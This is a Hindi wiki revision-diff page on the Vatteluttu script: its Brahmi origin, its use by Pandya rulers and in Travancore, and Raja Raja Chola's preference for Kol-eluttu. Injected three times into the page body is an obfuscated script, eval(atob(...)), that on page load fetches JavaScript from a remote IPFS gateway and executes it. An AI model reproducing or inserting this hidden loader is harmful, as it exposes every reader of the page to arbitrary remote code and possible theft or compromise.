"वट्टेळुत्तु लिपि" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (श्रेणी:हिन्दी भाषा (को हटा दिया गया हैं।))
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
पंक्ति 16: पंक्ति 16:
 
|शोध=
 
|शोध=
 
}}
 
}}
 +
{{संदर्भ ग्रंथ}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>

10:38, 21 मार्च 2011 का अवतरण

  • वट्टेळुत्तु लिपि का विकास, तमिल लिपि की तरह, ब्राह्मी से ही हुआ है।
  • तमिल लिपि को त्वरा से घसीट के साथ लिखने के कारण 7वीं शताब्दी के आस-पास दक्षिण के प्रदेशों में यह लिपि अस्तित्व में आई थी।
  • पाण्ड्य शासकों ने अपने अभिलेखों में इसका उपयोग किया है।
  • तंजावूर के दक्षिण में और मलाबार तथा तिरुवितांकुर (ट्रावंकोर) में इस लिपि का बहुत व्यवहार हुआ है।
  • तिरुवितांकुर (ट्रावंकोर) में तो अभी उन्नीसवीं शताब्दी तक इस लिपि का व्यवहार देखने को मिलता था।
  • दक्षिण भारत की लिपियों के विशेषज्ञ बार्नेल का मत था कि आरम्भ में तमिल भाषा के ग्रन्थ इसी लिपि में लिखे जाते थे।
  • इस लिपि के गोलाकार अक्षरों को देखने से पता चलता है कि ताड़पत्रों पर लोहे की कील से लिखने के लिए ही यह लिपि उपयुक्त थी।
  • पत्थरों पर गोलाकार अक्षरों को खोदने में काफ़ी कठिनाई होती है। इसीलिए राजराज चोल ने इस वट्टेळुत्तु लिपि के स्थान पर उसकी सीधे अक्षरों वाली ‘कोल-एळुत्तु’ शैली को पसन्द किया था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>